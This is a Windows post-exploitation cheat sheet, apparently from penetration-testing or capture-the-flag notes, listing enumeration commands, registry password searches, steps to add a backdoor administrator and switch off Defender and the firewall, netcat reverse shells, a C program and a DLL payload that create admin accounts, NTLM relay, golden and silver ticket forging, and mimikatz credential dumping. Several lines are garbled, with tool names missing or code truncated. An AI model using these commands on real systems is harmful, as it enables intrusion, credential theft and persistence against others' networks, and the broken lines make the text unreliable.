Local enum

# Basic info
Get-ChildItem Env: | ft Key,Value
net users
net user user1
query user
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
net use
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
net localgroups
accesschk.exe -uwcqv "Authenticated Users" *
netsh firewall show state
netsh firewall show config
whoami /priv
wmic qfe
query user
net localgroup
Get-LocalGroup | ft Name
# Set path
set PATH=%PATH%;C:\xampp\php
dir /a -> Show hidden & unhidden files
dir /Q -> Show permissions
# check .net version:
gci 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | gp -name Version -EA 0 | where { $_.PSChildName -match '^(?!S)\p{L}'} | select PSChildName, Version
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Users Path"
# Passwords
# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKCU\Software\ORL\WinVNC3\Password"
# SNMP Parameters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
# Search for password in registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
python -just-dc-ntlm htb.hostname/[email protected] -just-dc htb.hostname/[email protected] > dump.txt
# Add RDP user and disable firewall
net user haxxor Haxxor123 /add
net localgroup Administrators haxxor /add
net localgroup "Remote Desktop Users" haxxor /ADD
# Turn firewall off and enable RDP
sc stop WinDefend
netsh advfirewall show allprofiles
netsh advfirewall set allprofiles state off
netsh firewall set opmode disable
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
# Dump Firefox data
# Looking for Firefox
./procdump64.exe -ma $PID-FF
Select-String -Path .\*.dmp -Pattern 'password' > 1.txt
type 1.txt | findstr /s /i "admin"
# PS Bypass Policy
Set-ExecutionPolicy Unrestricted
powershell.exe -exec bypass
Set-ExecutionPolicy-ExecutionPolicyBypass -Scope Procesy
# Convert passwords to secure strings and output to an XML file:
$secpasswd = ConvertTo-SecureString "VMware1!" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("administrator", $secpasswd)
$mycreds | export-clixml -path c:\temp\password.xml
# PS sudo
$pw= convertto-securestring "EnterPasswordHere" -asplaintext -force
$pp = new-object -typename System.Management.Automation.PSCredential -argumentlist "EnterDomainName\EnterUserName",$pw
$script = "C:\Users\EnterUserName\AppData\Local\Temp\test.bat"
Start-Process powershell -Credential $pp -ArgumentList '-noprofile -command &{Start-Process $script -verb Runas}'
powershell -ExecutionPolicy -F -File xyz.ps1
# PS runas
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process .\nc.exe -ArgumentList '10.10.xx.xx 4445 -e cmd.exe' -Credential $credential
$pass = ConvertTo-SecureString 'l33th4x0rhector' -AsPlainText -Force; $Credential = New-Object System.Management.Automation.PSCredential ("fidelity\hector", $pass);Invoke-Command -Computer 'Fidelity' -ScriptBlock {C:\inetpub\wwwroot\uploads\nc.exe -e cmd 443} -credential $Credential
# Tasks
schtasks /query /fo LIST /v
file c:\WINDOWS\SchedLgU.Txt
python3 Domain/Administrator:<Password>@[email protected] systeminfo
# Useradd bin
#include /* system, NULL, EXIT_FAILURE */
int main ()
int i;
i=system ("net user /add && net localgroup administrators /add");
return 0;
# Compile
i686-w64-mingw32-gcc -o useradd.exe useradd.c
# WinXP
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
# WinRM Port Forwarding
# DLL Injection
int owned()
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
return 0;
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
return 0;
# x64 compilation:
x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
# NTLM Relay Attack
We need two tools to perform the attack, and ntlmrelayx. You can get both on GitHub in the PrivExchange and impacket repositories. Start ntlmrelayx in relay mode with LDAP on a Domain Controller as target, and supply a user under the attackers control to escalate privileges with (in this case the ntu user): -t ldap://s2016dc.testsegment.local --escalate-user ntu
Now we run the script:
[email protected]:~/exchpoc$ python -ah dev.testsegment.local s2012exc.testsegment.local -u ntu -d testsegment.local
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
ERROR: The user you authenticated with does not have a mailbox associated. Try a different user.
When this is run with a user which doesn’t have a mailbox, we will get the above error. Let’s try it again with a user which does have a mailbox associated:
[email protected]:~/exchpoc$ python -ah dev.testsegment.local s2012exc.testsegment.local -u testuser -d testsegment.local
INFO: Using attacker URL: http://dev.testsegment.local/privexchange/
INFO: Exchange returned HTTP status 200 - authentication was OK
INFO: API call was successful
After a minute (which is the value supplied for the push notification) we see the connection coming in at ntlmrelayx, which gives our user DCSync privileges:
We confirm the DCSync rights are in place with secretsdump:
With all the hashed password of all Active Directory users, the attacker can create golden tickets to impersonate any user, or use any users password hash to authenticate to any service accepting NTLM or Kerberos authentication in the domain.
# Generate Silver Tickets with Impacket:
python3 -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
python3 -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn> <user_name>
# Generate Golden Tickets:
python3 -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> <user_name>
python3 -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> <user_name>
# Credential Access with Secretsdump
impacket-secretsdump [email protected] -dc-ip target-ip
# Disable Assembly code generator


# Windows Credential Manager
sekurlsa::minidump C:\Users\raj\Desktop\lsass.DMP
lsadump::lsa /patch
# WDigest

Privilege Escalation

# Check groups and privs
whoami /priv
# Interesting accounts
- Administrators, Local System
- Built-in groups (Backup, Server, Printer Operators)
- Local/network service accounts
- Managed Service and Virtual Accounts
- Third party application users
- Misconfigured users
# Interesting privileges
- SeDebugPrivilege
Create a new process and set the parent process a privileged process
- SeRestorePrivilege
Can write files anywhere, overwrites files, protected system files
Modify a service running as Local and startable by all users and get a SYSTEM shell
- SeBackupPrivilege
Can backup Windows registry and use third party tools for extracting local NTLM hashes
Members of “Backup Operators” can logon locally on a Domain Controller and backup the NTDS.DIT
- SeTakeOwnershipPrivilege
Can take ownership of any securable object in the system
- SeTcbPrivilege
Can logon as a different user without any credentials in order to get a security Impersonation Token by using the LsaLogonUser() function
- SeCreateTokenPrivilege
Can create a custom token with all privileges and group membership you need (until Win 10 >= 1809)
But if you set the AuthenticationId to ANONYMOUS_LOGON_UID (0x3e6) you can always impersonate even in Win >=1809 and use a subset of API calls: CreateFile(), RegSetKey()
- SeLoadDriver Privilege
"Printer operators" have this privilege in the DC
Determines which users can dynamically load and unload device drivers or other code in to kernel mode
- SeImpersonatePrivilege & SeAssignPrimaryTokenPrivilege
Permit impersonate any access token
** If you have SeBackup & SeRestore privileges (Backup Operators group) you can set permission and ownership on each file & folder **


hostname && whoami.exe && ipconfig /all
wce32.exe -w
wce64.exe -w
# Loot passwords without tools
reg.exe save hklm\sam c:\sam_backup
reg.exe save hklm\security c:\security_backup
reg.exe save hklm\system c:\system
ipconfig /all
route print
# What other machines have been connected
arp -a
# Meterpreter
run packetrecorder -li
run packetrecorder -i 1
search -f *.txt
search -f *.zip
search -f *.doc
search -f *.xls
search -f config*
search -f *.rar
search -f *.docx
search -f *.sql
load mimikatz
# How to cat files in meterpreter
cat c:\\Inetpub\\iissamples\\sdk\\asp\\components\\adrot.txt
# Recursive search
dir /s -just-dc htb.hostname/[email protected] > dump.txt
.\mimikatz.exe "lsadump::dcsync /user:Administrator" "exit"
# Mimikatz
# Post exploitation commands must be executed from SYSTEM level privileges.
mimikatz # privilege::debug
mimikatz # token::whoami
mimikatz # token::elevate
mimikatz # lsadump::sam
mimikatz # sekurlsa::logonpasswords
## Pass The Hash
mimikatz # sekurlsa::pth /user:username /domain:domain.tld /ntlm:ntlm_hash
# Inject generated TGS key
mimikatz # kerberos::ptt <ticket_kirbi_file>
# Generating a silver ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
# Generating a Golden Ticket
# AES 256 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name>
# AES 128 Key:
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name>
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash> /user:<user_name>
# Lsassy (remote lsass/mimikatz dump reader) (requires impacket)
git clone
cd lsassy && sudo python3 install
lsassy[email protected]